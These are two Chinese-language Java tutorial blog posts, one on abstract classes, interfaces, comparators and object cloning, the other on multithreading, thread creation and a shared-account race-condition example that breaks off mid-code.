-
前言上期我们介绍了类与对象的知识点,那么这期我先为大家带来关于抽象类与接口的具体的讲解,希望大家能更进一步理解Java中的特点,下节再为大家介绍两大特性的详解。一、抽象类1.抽象类的概念在面向对象的概念中,所有的对象都是通过类来进行描绘的,但是并不是所有的类来进行描绘对象的。如果一个类中没有足够的信息内容来回一个具体的对象,那么这种类就是抽象类。2.抽象类的语法1.抽象类都是被abstract类修饰的叫做抽象类public abstract class A{}2.抽象类中的成员方法用abstract修饰的方法,叫做抽象方法public abstract class A{public abstract void test();//抽象方法}3.抽象类的特点通过上述方法我们可以得知:一个类中有抽象方法,那么这个类必是抽象类抽象类中也可以有普通成员变量和普通成员方法比如:abstract class Shape{ public int a = 10;//普通成员变量 public void draw(){//普通成员方法 System.out.println("画图形"); } public abstract void draw2();//抽象方法}抽象类不能直接实例化public static void main(String[] args) { Shape shape = new Shape(); } 抽象类不能实例化,那么是用来干什么的呢?当然是用来被继承的了,所以抽象类也可以实现了向上转型抽象类中的方法是不能被private修饰的 private abstract void draw2();final 和 abstract 两者不能同时存在,被abstract修饰的方法就是要被继承的与重写的,而final修饰的不能被重写和继承,属于是密封类和密封方法public abstract final void draw2();抽象方法不能被static修饰,因为抽象方法要被子类重写,而static是属于类本身的方法public static final void draw2();当一个普通类继承了这个抽象类之后,这个普通类一定要重写这个抽象类的当中的所有的抽象方法abstract class Shape{ public int a = 10; public void draw(){ System.out.println("画图形"); } public abstract void draw2();//抽象方法 public void test(){ }}class React extends Shape{ @Override public void draw2() { System.out.println("矩形"); }}class Flower extends Shape{ @Override public void draw2() { System.out.println("花" ); }}子类如果不想重写抽象方法,那么就把子类也设为抽象类比如这有一个子类Aabstract class A extends Shape{ public abstract void testDemo();}但是我们会想到,如果一直设计为抽象子类,那么它们的抽象方法怎么办?class B extends A{ @Override public void draw2() { } @Override public void testDemo() { }}所以B继承了A,A继承了Shape,两个类都是抽象类,所以这个普通类B类就要重写两个方法当一个抽象类A不想被一个普通类B继承,此时可以把这个B类变成抽象类,那么在当一个普通类C继承这个抽象类B之后,C要重写B和A的里面的所有抽象方法4.抽象类的操作给出完整的代码,让我们分析一下:abstract class Shape{ public int a = 10; public void draw(){ System.out.println("画图形"); } public abstract void draw2(); public void test(){ } public Shape() { //既然它不能实例化,但是可以让子类调用帮助这个抽象类初始化它自己的成员 }}class React extends Shape{ @Override public void draw2() { System.out.println("矩形"); }}class Flower extends Shape{ @Override public void draw2() { System.out.println("花" ); }}public class Test { public static void drawMap(Shape shape) { shape.draw2(); } public static void main(String[] args) { Shape shape = new React(); drawMap(new React()); drawMap(new Flower()); }Shape shape1 = new React();Shape shape2 = new Flower();这个操作是向上转型,在我们调用了一些抽象方法的时候,由于我们将其抽象方法进行了重写,进而发生了动态绑定,从而发生多态。 public static void drawMap(Shape shape) { shape.draw2(); }这个方法我们来接收Shape类型,但是由于子类继承父类,构成了协变类型,也会发生向上转型,往里面传入了参数时,再调用抽象方法,这个时候发生了动态绑定,就会发生了多态new React() new Flower() 这种没有名字的对象 —> 匿名对象匿名对象的缺点:每次使用,都得去重新实例化所以我们可以使用向上转型的直接赋值,来去传进参数public static void main(String[] args) { Shape shape1 = new React(); Shape shape2 = new Flower(); drawMap(shape1); drawMap(shape2); }5.抽象类的作用我们都知道普通的类也能被继承,那还需要抽象类来做什么?但是我们正常都需要跟业务和实际情况来进行选择,使用抽象类相当于多了一重编译器的校验:使用抽象类的场景就如上面的代码,实际工作不应该由父类完成,而应由子类完成.。那么此时如果不小心误用成父类了,使用普通类编译器是不会报错的;但是父类是抽象类就会在实例化的时候提示错误, 让我们尽早发现问题。意义:很多语法存在的意义都是为了 “预防出错”, 例如我们曾经用过的 final 也是类似. 创建的变量用户不去修改, 不就相当于常量嘛? 但是加上 final 能够在不小心误修改的时候, 让编译器及时提醒我们.充分利用编译器的校验, 在实际开发中是非常有意义的.二、接口1.接口的概念比如:我们都知道电脑上面有USB接口,可以插些:U盘,鼠标等符合USB协议的设备;接口就是公共的行为规范标准,大家在实现时,只要符合规范标准,就可以通用。在Java中,接口可以看成是多个类的公共规范,是一种引用数据类型。2.接口语法public interface 接口名称{//抽象方法//成员变量}一般的接口名称前加一个I字母。interface IShape{//一般情况下我们以I开头来表示接口的 int a = 10; void draw(); default void test(){ System.out.println("test()"); } public static void test2(){ System.out.println(" static test2()"); }}在这个接口中我没有看到修饰符,难道是默认的吗?并不是默认的!原因这是在接口中,成员变量默认是被public static final修饰的,成员方法是抽象方法,但是默认被public abstract修饰的但是这种我们一般不写接口中的方法一般不能实现,都是抽象方法,但是从JDK8之后,可以支持default修饰的成员方法和static修饰的成员方法中可以有具体的实现(即主体)3.接口的使用与特性接口的成员方法必须是默认为public abstract来修饰的。其他修饰符不可以;private 和 protected还有default均不可以,都会出现报错接口类型也是一种引用类型接口不能有普通成员方法,也不能有成员变量interface IShape{//一般情况下我们以I开头来表示接口的 private int a = 10; void draw(); default void test(){ System.out.println("test()"); } public void test2(){ System.out.println(" static test2()"); }}就算你写成了public的成员变量,这时候也是默认成public static final修饰的,所以不会出现错误接口不能被new关键字来进行实例化,但是也可以用向上转型IShape iShape = new IShape();类实现了接口,那么该子类就要重写接口中的所有抽象的方法,用implements关键字来实现class Rect implements IShape{ @Override public void draw() { System.out.println("矩形"); }}class Flower implements IShape{ @Override public void draw() { System.out.println("花"); }}如果类没有实现接口中的所有的抽象方法,则类必须设置为抽象类abstract class A implements IShape{ }当然了,还是要还的,因为他只能被用来继承,所以这种类被继承后还是需要重写接口中的方法当一个类实现了接口当中的方法之后,当前类中的方法不能不加public,因为原来接口中的方法是public修饰的,所以重写的方法要大于等于public的范围,所以必须是public修饰class Rect implements IShape{ @Override void draw() { System.out.println("矩形"); }}接口当中,不能使用构造方法和静态代码块interface IShape{//一般情况下我们以I开头来表示接口的 public IShape(){ } static{ }}4.实现多个接口在Java中,类和类之间是单继承的,一个类只能有一个父类,即Java中不支持多继承,但是一个类可以实现多个接口。在父类中是放入一些共性的特点,而不是特有的,是共有的比如我们创建了一个动物类,再创建几个具体的动物的类,再分别创建几个接口://游泳接口public interface ISwimming { void swim();}//跑步接口public interface IRunning { void run();}//飞行接口public interface IFlying { void fly();}//动物类:public abstract class Animals { public String name; public int age; public Animals(String name, int age) { this.name = name; this.age = age; } public abstract void eat();}鸟可以进行飞行和跑步,所以实现这两接口,并且继承了动物类//鸟类public class Bird extends Animals implements IFlying, IRunning { public Bird(String name, int age) { super(name, age);//帮助父类进行构造,用super来进行访问父类 } @Override public void eat() { System.out.println(this.name + "正在吃饭!"); } @Override public void fly() { System.out.println(this.name + "正在用翅膀飞!"); } @Override public void run() { System.out.println(this.name + "正在用鸟腿跑!"); }}狗类是可以进行跑步和游泳,所以实现这两个接口,并且继承了父类//狗类public class Dog extends Animals implements IRunning, ISwimming { public Dog(String name, int age) { super(name, age);//帮助父类进行构造 } @Override public void eat() { System.out.println(this.name + "正在吃狗粮!"); } @Override public void run() { System.out.println(this.name + "正在用狗腿跑!"); } @Override public void swim() { System.out.println(this.name + "正在狗腿游泳!"); }}主类public class Test { public static void test1(Animals animals){ animals.eat(); } public static void test4(IFlying iFlying){ iFlying.fly(); } public static void test2(IRunning iRunning){ iRunning.run(); } public static void test3(ISwimming iSwimming){ iSwimming.swim(); } public static void main(String[] args) { Bird bird = new Bird("小鸟",1); Dog dog = new Dog("小狗",10); test1(dog); test1(bird); test2(bird); test2(dog); System.out.println("============"); test3(dog); //test3(bird);bird没有实现swimming的接口 System.out.println("============"); test4(bird); //test4(dog);dog没有实现了flying的接口 }}上面的代码展示了 Java 面向对象编程中最常见的用法: 一个类继承一个父类, 同时实现多种接口。语法上先继承后实现,否则会报错继承表示是其中的一种,接口表示的是它具有什么特性,能做什么。这时候我们在创建一个机器人类:public class Robot implements IRunning { @Override public void run() { System.out.println("机器人在跑!"); }}比如我们在主类中测试test2(new Robot());1那么这种操作的好处是什么?时刻牢记多态的好处, 让我们忘记类型. 有了接口之后, 类的使用者就不必关注具体类型,而只关注某个类是否具备某种能力我们创建了这个机器人类,实现了跑步的接口,所以直接去实现调用test2的方法,这个时候我们就可以发现了这个接口,回避了向上转型会使其更加灵活。5.接口之间的继承在Java中,类和类之间是单继承的,但是一个类可以实现多个接口,接口与接口之间可以多继承。用接口达到多继承的目的。接口的继承用extends关键字interface A{ void testA();}interface B{ void testB();}interface C{ void testC();}interface D extends B,C{ //D 这个接口具备了B和C接口的功能 //并且D还可以有自己的方法 void testD();}在接口中是进行抽象方法的声明,所以接口之间继承不用重写抽象方法当类来实现这个D接口的时候,我们要重写D接口中的方法和D所继承的接口中的方法public class Test implements D{ @Override public void testB() { } @Override public void testC() { } @Override public void testD() { } //就如同子孙类一样总结:接口间的继承相当于把多个接口合并在一起。在接口中是进行抽象方法的声明,所以接口之间继承不用重写抽象方法。6.接口的实例(1).对象大小的比较当我们先给出了几个对象,从而想要按照一定顺序比较其中内容的大小我们先创建了一个Student类class Student { public String name ; public int age; public Student(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; }}这个时候我们再创建一个主类public class Test {public static void main(String[] args) { Student student1 = new Student("zhangsan", 10); Student student2 = new Student("lisi", 15); System.out.println(student1 > student2); }} 这么运行会出现错误;(因为两者都是引用类型,无法直接进行比较)所以这个时候我们用接口来实现这个自定义类型的比较,所以分别是 Comparable和Comparator接口(1).Comparable接口这个是接口Comparable中的源码这个接口中涉及到后续的泛型,关于这个泛型到后期的数据结构我们在详细的讲解如果我们要实现比较的方法,就要用compareTo这个方法,当然如果直接使用:System.out.println(student1.compareTo(student2));因为compareTo是Comparable中的方法,所以要想使用这个方法,就要实现这个接口,并指定比较的类型用<>class Student implements Comparable<Student>{ public String name ; public int age; public Student(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } @Override public int compareTo(Student o) {//重写的CompareTo方法 return this.age - o.age; //大于0,则前者大于后者 //小于0,前者小于后者 //this.age表示的是student1,o.age表示的是student2}}public class Test {public static void main(String[] args) { Student student1 = new Student("zhangsan", 10); Student student2 = new Student("lisi", 15); System.out.println(student1.compareTo(student2)); }}如果我们给出的是student的对象数组,让其大小进行排序,不作对student类进行修改,只在主类中进行实例化import java.util.Arrays;public class Test { public static void main(String[] args) { //利用对象数组 Student[] students = new Student[3]; students[0] = new Student("zhangsan",10); students[1] = new Student("lisi",2); students[2] = new Student("liwu",18); Arrays.sort(students);//这个时候要用comparable来进行一定的顺序排序. System.out.println(Arrays.toString(students)); }}因为通过comparable这个接口来进行查找一定的内容,从而按一定的内容来进行比较大小当然,我们想要按其他内容的时候进行排序,需要改动某些代码,这时候就容易会导致某些错误。(2).Comparator接口Comparator接口中有compare的方法为默认权限,所以我们调用这个方法这种方式叫做比较器,在类的外部进行实现class Student2{ public String name; public int age; @Override public int compareTo(Student2 o) { return this.age - o.age; } public Student2(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; }}比如我们要按对象的年龄大小进行比较,这时候再创建一个age类,实现了Comparator这个接口class AgeComparator implements Comparator<Student2>{ @Override public int compare(Student2 o1, Student2 o2) { return o1.age - o2.age; }}这个时候我们先把在外部的类实例化,进而要比较需要两个对象的变量传递到compare方法中去,从去重写这个方法,并且发生向上转型(参数类型)import java.util.Comparator;public class Test2 { public static void main(String[] args) { Student2 student1 = new Student2("zhangsan", 10); Student2 student2 = new Student2("lisi", 15); AgeComparator ageComparator = new AgeComparator(); System.out.println(ageComparator.compare(student1, student2));}}当我们按照name进行比较的时候,这个时候在创建了Name类,再去实现了Comparator这个接口class NameComparator implements Comparator<Student2>{ @Override public int compare(Student2 o1, Student2 o2) { return o1.name.compareTo(o2.name); }}name是引用类型,不能进行相减来进行比较,但是我们发现了String类中也有去实现Comparable的方法所以我们只需要重写compareTo方法即可当然我们还是需要进行将Name类进行类的实例化 NameComparator nameComparator = new NameComparator(); System.out.println(nameComparator.compare(student1, student2));关于对于自定义类型比较的总结:Comparator这种方式的优势就是对于类的侵入性不强,会比较灵活Comparable这种方式对于类的侵入性比较强,所以做好不要去改动原有的逻辑,比如我按名字排序这个时候就会容易发生变化并且两者可以共存,互不干扰;因为comparable是对原有的类进行实现,comparator是对要比较内容的类而实现,所以互不干扰(2).实现类的克隆(1).类的克隆Java中有许多的内置接口,而Cloneable就是一个非常有用的接口Object类中有一个clone方法,调用这个对象可实现创建一个对象的“拷贝”,但是想要成功调用这个方法,就要实现这个其中的接口class Person { public int age; public Person(int age) { this.age = age; } @Override public String toString() { return "Person{" + " age=" + age + " }"; }}public class Test3 { public static void main(String[] args){ Person person1 = new Person(10); System.out.println(person1); Person person2 = person1.clone(); System.out.println(person1); }}例如:我们创建一个person类,存入了一个年龄的成员变量,并重写了toString方法;然后我们对Person类实例化,并存入了一个age为10的值让其构造方法为它自己进行初始化,这个时候我们直接打印了person1,这个时候我们再创建一个变量person2来接收person1的拷贝后的值。但是如果我们直接这么做,直接去调用:Person person1 = person.clone();这个时候就会出现这种错误;因为clone方法是在object类中的方法,所以我们点击查看clone的源码:protected native Object clone() throws CloneNotSupportedException;这个时候我们就会发现了这个clone方法是本地方法,是用C/C++来写的,所以我们也无法知道这个具体的过程实现,并且我们也看到了这个方法是被protected修饰的,它的访问权限是在不同包的子类可以访问不同包的父类被protected修饰的成员变量和方法, 但是也需要用super来访问,所以需要重写这个clone方法;class Person { public int age; public Person(int age) { this.age = age; } @Override public String toString() { return "Person{" + " age=" + age + " }"; }@Override protected Object clone() throws CloneNotSupportedException { return super.clone();//调用object类的方法来进行访问 }}这个时候我们会发现还是有错误啊,但是这时候提示我们类型不兼容,因为Object类是所有的类的父类,但是其中clone方法是比较特殊的,它返回的是object类型,但是它并没有与Person构成显示的父与子的协变类型,所以这也反映了不构成重写的条件之一,所以会出现这种错误,但是我们把这个类型强制转换为Person类,所以就可以了public class Test3 { public static void main(String[] args){ Person person1 = new Person(10); System.out.println(person1); Person person2 = (Person) person1.clone(); System.out.println(person1); }}这个时候在运行结果:这个时候还是报了错误,告诉我们还有异常这错误,但是异常处理我们后期会详细讲解,因为clone方法的异常是受查异常/编译时异常,所以必须在编译时处理:public class TestDemo { public static void main(String[] args) throws CloneNotSupportedException{//必须在编译时处理 Person person1 = new Person(10); System.out.println(person1); Person person2 = (Person) person1.clone(); System.out.println(person2);}但是我们运行完,还是会出现错误,这可是真愁人CloneNotSupportedException,不支持克隆,告诉我们Person类不支持克隆所以我们这时候就要提到前面所说的Cloneable接口了,这个时候我们就用Person实现这个接口,那么运行结果:这时候我们就完成了person2对person1的所指的对象的克隆这个时候我们来看一下Cloneable这个接口:Cloneable是一个空接口,我们可以在IDEA中去查看源码:它是一个空接口,也作为一种标记接口,因为它用来证明当前类是可以被克隆的在堆上,创建了一个对象,假设地址是0X98,那么在虚拟机栈上得到是person1所指这个对象的地址,通过clone的方法来进行克隆出堆中一个相同的一份的对象,但是两者(person1和person2)在堆上不是一个位置,所以person2这个克隆后的获得了一个新的地址0X88(假设的),所以我们通过 return super.clone() 来克隆。那么就来总结一下Person person1 = person.clone();这个其中的所有的错误:修饰符的错误,protected,这一步用super.clone()访问object类,来重写这个clone方法异常,clone方法的异常是受查异常/编译时异常,所以必须在编译时处理,(在main后面加入throws)向下转型,进行强制转换,因为我们用的是object类中的clone方法,所以返回类型是固定的object类,而不是构成了协变类型。所以我们要进行向下转型,将其转换为子类;进行了上述的操作,还是会报错:CloneNotSupportedException,不支持克隆。所以我们要实现Cloneable这个接口,从而才能使用我的理解:clone方法实现的具体操作,用super.clone来访问,Cloneable判断这个类是否支持克隆操作(2).浅拷贝这时候我们在Person类的基础上再重新创建了一个Money类,让它与其Person类构成组合class Money{ public double money = 19.9;}class Person1 implements Cloneable{ public int age; public Money m; public Person1(int age) { this.age = age; this.m = new Money();//在构造方法中实例化一个money } @Override public String toString() { return "Person{" + " age=" + age + " }"; } @Override protected Object clone() throws CloneNotSupportedException { return super.clone(); }}public class TestDemo { public static void main(String[] args) throws CloneNotSupportedException { Person1 person1 = new Person1(10); Person1 person2 = (Person1) person1.clone(); System.out.println(person1); System.out.println(person2); System.out.println("==============="); System.out.println(person1.m.money); System.out.println(person2.m.money);//先调用的是person1的成员变量m, //由于在构造方法中进行了m的实例化,所以我还可以调用Money类中的成员变量 System.out.println("==============="); //将person2进行修改,正常我们所期望的是只有person2进行修改,person1没有变化 person2.m.money = 99.99; System.out.println(person1.m.money); System.out.println(person2.m.money); }}this.m = new Money();也就是在堆上的空余的空间再创建了一个实例化Money的对象,并且这个m在堆上那个原本的空间占有的一定内存空间。person1.m.money为什么会这么调用money?这个m是Peron1类的成员变量,但是我们也在Person1类中的构造方法去实例化Money这个类,所以这个m又是Money实例化的变量名,再用这个m来调用了Money类中的成员变量money将person2进行修改,正常我们所期望的是只有person2进行修改,person1没有变化,但是可惜的是两者都发生了变化。所以我们可以通过图例来演示一下这个过程:在虚拟机栈上,会创建两个空间分别是person1和person2,person1所实例化的对象会在堆上创建一个对象的空间(地址为0x98),存入两个成员变量,但是其中m是Money类型即是引用类型,并且也是实例化了,所以那么也会是创建money类型的对象的空间(地址为0x65),这时候在对第一个对象中的成员变量m也会得到它实例化的地址person1.clone()是把person1指向的对象进行克隆,但是没把这个对象的空间中成员变量m所指的对象进行克隆所以那也意味着成员变量m还是指的是0x65的它自己的对象空间Money,这个对象的空间的成员变量是moneyperson2还是指的是第一次的对象中的对象的成员变量money;所以这个时候堆money的修改还是一次就改变person1和person2所指的money的值,两者还是一样的此时这个现象被称之为浅拷贝:并没有将对象中的对象去进行克隆(3).深拷贝class Money1 implements Cloneable{ public double money = 19.9; @Override protected Object clone() throws CloneNotSupportedException { return super.clone(); }}class Person2 implements Cloneable{ public int age; public Money1 m; public Person2(int age) { this.age = age; this.m = new Money1();//在构造方法中实例化一个money } @Override public String toString() { return "Person{" + " age=" + age + " }"; } @Override protected Object clone() throws CloneNotSupportedException { Person2 tmp = (Person2) super.clone(); //tmp.m类的调用成员变量,this.m.clone()中的this是指这个对象的成员变量m的引用 tmp.m = (Money1) this.m.clone();//谁调用某个方法谁就是this,现在是person1来调用,那么person1就是this return tmp; }}public class Test5 { public static void main(String[] args) throws CloneNotSupportedException{ Person2 person1 = new Person2(10); Person2 person2 = (Person2) person1.clone(); System.out.println(person1.m.money); System.out.println(person2.m.money); System.out.println("==============="); person2.m.money = 99.9; System.out.println(person1.m.money); System.out.println(person2.m.money); }}这时候我们把Money1类也进行实现了Cloneable的接口,这时候我们再对clone方法的重写,但是我们会发现两者的重写的clone方法不同,在Person2类中的重写方法,创建一个临时变量tmp,通过将其向下转型变成了Person2类型,tmp.m是Person2类的调用成员变量m,this.m.clone()就是person1正在调用clone方法,这个时候先访问了Pesron2类中成员变量m,再去通过Money1类的实例化之后再调用clone方法,这个时候最终是Money1这个类型去调用这个方法;但是我们会发现tmp是局部变量,除了生命作用域就会销毁,但是最终返回的是给person2,又因为person2是引用类型,会得到了tmp的地址。所以我们可以通过图例来演示一下这个过程:在虚拟机栈上,会创建两个空间分别是person1和person2,还有一个在person类中创建一个临时变量tmp,因为是把对象的对象进行克隆,所以要再类中的另一个类(该类作为成员变量)中重写clone方法,但是在原有的类中的clone方法也需要进行修改person1所实例化的对象会在堆上创建一个对象的空间(地址为0x98),存入两个成员变量,但是其中m是Money类型即是引用类型,并且也是实例化了,所以那么也会是创建money类型的对象的空间(地址为0x65),这时候在对中的成员变量m也会得到它实例化的地址因为我们还在Person类中修改了重写方法;通过创建了一个临时变量tmp也是为Person类型,先把外面的对象先进行克隆完成,这时候再通过这个临时变量去调用Person类中的m(其实也就是类的引用),由于我将m这个变量也进行了Money类的实例化的操作,所以这时候再用m去调用正常的clone方法,从而通过去调用Money类中的clone方法这个就完成了克隆那么Money类的克隆的地址(0x888),但是tmp是临时的局部的变量,出了作用域就销毁,最终返回的是给的是person2[person2 = (Person2) person1.clone()]这个就是返回了person2么因为它是类类型(引用类型)所以这个时候的person2就会得到它的地址(0x91)最终person2和person1所指的两个值是不一样此时这个现象被称之为深拷贝:完全将对象中的对象去进行克隆。注意:深拷贝与浅拷贝就是看的是代码实现的过程,跟克隆方法没有关系三、抽象类和接口的区别(面试常考)(1).抽象类中可以有普通成员方法和成员变量,其中还可以有抽象方法,如果子类继承抽象类,必须要重写抽象类中的抽象方法,如果不想重写抽象方法,那么就要将子类设计为抽象类一个类可以实现多个接口(模拟多继承),但是类与类之间的继承必须是单继承的关系,继承用extends关键字(2).接口中不可以有普通的成员方法和成员变量,它的成员变量默认是public static final修饰,成员方法默认是public abstract修饰,如果类要实现接口,就要重写接口中的抽象方法实现用implements关键字,接口之间也可以继承多个接口(这种操作也是多继承),这种操作不用父接口的抽象方法;但是用类实现时,要注意重写接口与被继承接口的所有的抽象方法。这期内容就分享到这里了,希望大家可以获得新的知识,当然,如果有哪些细节和内容不足,欢迎大家在评论区中指出!———————————————— 原文链接:https://blog.csdn.net/2401_87022967/article/details/147046361
-
本文详细介绍了Java中多线程的创建方式,包括继承Thread类、实现Runnable接口和Callable接口,以及线程安全、线程同步的概念和实现方法,如同步代码块、同步方法和Lock锁。此外,还探讨了线程通信、线程池的使用,包括ExecutorService、ThreadPoolExecutor和Executors工具类,以及定时器ScheduledExecutorService的应用。最后,文章还涵盖了线程并发与并行以及线程的生命周期。摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >展开 文章目录多线程多线程的创建方式一:继承Thread类方式二:实现Runnable接口多线程的实现方案二:实现Runnable接口(匿名内部类形式)方式三:JDK5.0新增:实现Callable接口Thread的常用方法线程安全线程安全问题是什么、发生的原因线程安全问题案例模拟线程同步同步思想概述方式一:同步代码块方式二:同步方法Lock锁线程通信线程通信案例模拟线程池线程池概述线程池实现的API、参数说明**线程池常见面试题**线程池处理Runnable任务线程池处理Callable任务Executors工具类实现线程池定时器ScheduledExecutorService定时器线程并发与并行线程的生命周期多线程什么是线程?线程(Thread)是一个程序内部的一条执行路径。我们之前启动程序执行后,main方法执行其实就是一条单独的执行路径程序中如果只有一条执行路径,那么这个程序就是单线程的程序。多线程是什么?多线程是指从软硬件上实现多条执行流程的技术。多线程的创建Thread类Java是通过java.lang.Thread类来代表线程的。按照面向对象的思想,Thread类应该提供了实现多线程的方式。方式一:继承Thread类定义一个子类MyThread继承线程类java.lang.Thread,重写run()方法创建MyThread类的对象调用线程对象的start()方法启动线程(启动后还是执行run方法的)public class ThreadDemo01 { public static void main(String[] args) { //3.new一个线程对象 Thread t = new MyThread(); t.start(); for (int i = 0; i < 5; i++) { System.out.println("主线程启动了:"+i); } }}/** 1.定义一个线程类继承Thread类 */class MyThread extends Thread{ /** 2.重写run方法,里面定义线程以后要干啥 */ @Override public void run() { for (int i = 0; i < 5; i++) { System.out.println("子线程启动了:"+i); } }}方式一优缺点:优点:编码简单缺点:线程类以及继承Thread,无法继承其他类,不利于拓展为什么不直接调用了run方法,而是调用start启动线程直接调用run方法会当成普通方法执行,此时相当于还是单线程执行只有调用start方法才是启动一个新的线程执行把主线程任务放在子线程之前了。这样主线程一直是先跑完的,相当于是一个单线程的效果了。方式二:实现Runnable接口定义一个线程任务类MyRunnable实现Runnable接口,重写run()方法创建MyRunnable任务对象把MyRunnable任务对象交给Thread处理调用线程对象的start()方法启动线程public class ThreadDemo02 { public static void main(String[] args) { Runnable runnable = new MyRunable(); Thread t = new Thread(runnable); t.start(); for (int i = 0; i < 10; i++) { System.out.println("主线程开始执行:"+i); } }}class MyRunable implements Runnable{ @Override public void run() { for (int i = 0; i < 10; i++) { System.out.println("子线程在执行:"+i); } }}方式二优缺点:优点:线程任务类只是实现接口,可以继续继承类和实现接口,拓展性强。缺点:编程多一层对象包装,如果线程有执行结果是不可以直接返回的。多线程的实现方案二:实现Runnable接口(匿名内部类形式)可以创建Runnable的匿名内部类对象交给Thread处理调用线程对象的start() 启动线程public class ThreadDemoOther02 { public static void main(String[] args) { //创建一个任务对象 Runnable a = new Runnable() { @Override public void run() { for (int i = 0; i < 5; i++) { System.out.println("子线程1执行输出:" + i); } } }; // 把任务对象交给Thread处理 Thread t = new Thread(a); t.start(); Thread t1 = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 5; i++) { System.out.println("子线程2执行输出:" + i); } } }); t1.start(); new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 5; i++) { System.out.println("子线程3执行输出:" + i); } } }).start(); new Thread(() -> { for (int i = 0; i < 5; i++) { System.out.println("子线程4执行输出:" + i); } }).start(); for (int i = 0; i < 5; i++) { System.out.println("主线程执行输出:" + i); } } }output:子线程2执行输出:0子线程2执行输出:1子线程2执行输出:2子线程2执行输出:3子线程2执行输出:4子线程1执行输出:0子线程1执行输出:1子线程1执行输出:2子线程1执行输出:3子线程1执行输出:4主线程执行输出:0主线程执行输出:1主线程执行输出:2主线程执行输出:3主线程执行输出:4子线程4执行输出:0子线程4执行输出:1子线程4执行输出:2子线程4执行输出:3子线程4执行输出:4子线程3执行输出:0子线程3执行输出:1子线程3执行输出:2子线程3执行输出:3子线程3执行输出:4方式三:JDK5.0新增:实现Callable接口多线程的实现方案三:利用Callable、FutureTask接口实现得到任务对象定义类实现Callable接口,重写call方法,封装要做的事情创建Callable任务对象交给FutureTask对象用FutureTask 把Callable对象封装成线程任务对象把线程任务对象交给Thread处理调用Thread的start方法启动线程,执行任务线程执行完毕后,通过FutureTask的get方法去获取任务执行的结果public class ThreadDemo03 { public static void main(String[] args) { Callable<String> call = new myCallable(100); //FutureTask对象的作用:是Runnable的对象(实现了Runnable接口),可以交给Thread了 FutureTask<String> f = new FutureTask<>(call); Thread t = new Thread(f); t.start(); Callable<String> call2 = new myCallable(200); FutureTask<String> f2 = new FutureTask<>(call2); Thread t2 = new Thread(f2); t2.start(); try { String rs1 = f.get(); System.out.println(rs1); } catch (Exception e) { e.printStackTrace(); } try { String rs2 = f2.get(); System.out.println(rs2); } catch (Exception e) { e.printStackTrace(); } }}class myCallable implements Callable<String> { private int n; public myCallable(int n) { this.n = n; } @Override public String call() throws Exception { int sum = 0; for (int i = 0; i <= n; i++) { sum += i; } return "子线程结果是:" + sum; }}output:子线程结果是:5050子线程结果是:20100FutureTask的API方法名称 说明public FutureTask<>(Callable call) 把Callable对象封装成FutureTask对象。public V get() throws Exception 获取线程执行call方法返回的结果Thread的常用方法Thread常用API说明Thread常用方法:获取线程名称getName()、设置名称setName()、获取当前线程对象currentThread()。至于Thread类提供的诸如:yield、join、interrupt、不推荐的方法stop、守护线程、线程优先级等线程的控制方法,在开发中很少使用。Thread类获得当前线程的对象注意:此方法是Thread类的静态方法,可以直接使用Thread类调用。这个方法是在哪个线程执行中调用的,就会得到哪个线程对象。public class ThreadDemo01 { // main方法是由主线程负责调度的 public static void main(String[] args) { Thread t1 = new MyThread();// t1.setName("1号"); t1.start(); System.out.println(t1.getName()); Thread t2 = new MyThread();// t2.setName("2号"); t2.start(); System.out.println(t2.getName()); // 哪个线程执行它,它就得到哪个线程对象(当前线程对象) // 主线程的名称就叫main Thread m = Thread.currentThread(); System.out.println(m.getName()); for (int i = 0; i < 5; i++) { System.out.println(m.getName()+"输出:"+i); } } public class MyThread extends Thread{ @Override public void run() { for (int i = 0; i < 5; i++) { System.out.println(Thread.currentThread().getName()+"输出:"+i); } }}output:Thread-0Thread-1mainmain输出:0Thread-1输出:0Thread-1输出:1Thread-1输出:2Thread-1输出:3Thread-1输出:4main输出:1main输出:2main输出:3main输出:4Thread-0输出:0Thread-0输出:1Thread-0输出:2Thread-0输出:3Thread-0输出:4Thread的构造器方法名称 说明public Thread(String name) 可以为当前线程指定名称public Thread(Runnable target) 封装Runnable对象为线程对象public Thread(Runnable target, String name) 封装Runnable对象为线程对象,并指定线程名称Thread类的线程休眠方法方法名称 说明public static void sleep(long time) 让当前线程休眠指定的时间后再继续执行,单位为毫秒public class ThreadDemo02 { public static void main(String[] args)throws Exception { for (int i = 1; i <= 5; i++) { System.out.println("主线程输出:"+i); if (i==3){ //让线程进入3秒休眠状态 Thread.sleep(3000); } } }}线程安全线程安全问题是什么、发生的原因线程安全问题多个线程同事操作同一个共享资源的时候可能会出现业务安全问题,称为线程安全问题。出现的原因:存在多线程并发同时访问共享资源存在修改共享资源线程安全问题案例模拟案例:取钱业务需求:小明和小红是一对夫妻,他们有一个共同的账户,余额是10万元,模拟2人同时去取钱10万分析:需要提供一个账户类,创建一个账户代表2人的共享账户需要定义一个线程类,线程类可以处理账户对象创建两个线程对象,传入同一个账户对象启动两个线程,去同一个账户对象中取钱10万public class ThreadDemo { public static void main(String[] args) { //1.定义线程类,创建一个共享的账户对象 Account acc = new Account("ICBC-110",100000); //2.创建2个线程对象,代表小红和小明同时进来了 new DrawThread(acc,"小明").start(); new DrawThread(acc,"小红").start(); }}/**共享账户类*/public class Account { private String cardID;//卡号 private double money;//余额 public Account() { } /** * 小明 小红取钱 */ public void drawMoney(double money) { //1.先获取是谁来取钱,线程的名字就是人名 String name = Thread.currentThread().getName(); //1.判断账户是否有钱 if (this.money >= money) { //取钱 System.out.println(name+"成功取出了"+money+"元"); //更新余额 this.money -= money; System.out.println(name+"取款后剩余:"+this.money); }else { System.out.println(name+"来取钱,余额不足!"); } } public Account(String cardID, double money) { this.cardID = cardID; this.money = money; } public String getCardID() { return cardID; } public void setCardID(String cardID) { this.cardID = cardID; } public double getMoney() { return money; } public void setMoney(double money) { this.money = money; }}/** 取钱的线程类 */public class DrawThread extends Thread{ //接收处理的账户对象 private Account acc; public DrawThread(Account acc,String name) { super(name); this.acc = acc; } @Override public void run() { //小红 小红 取钱 acc.drawMoney(100000); 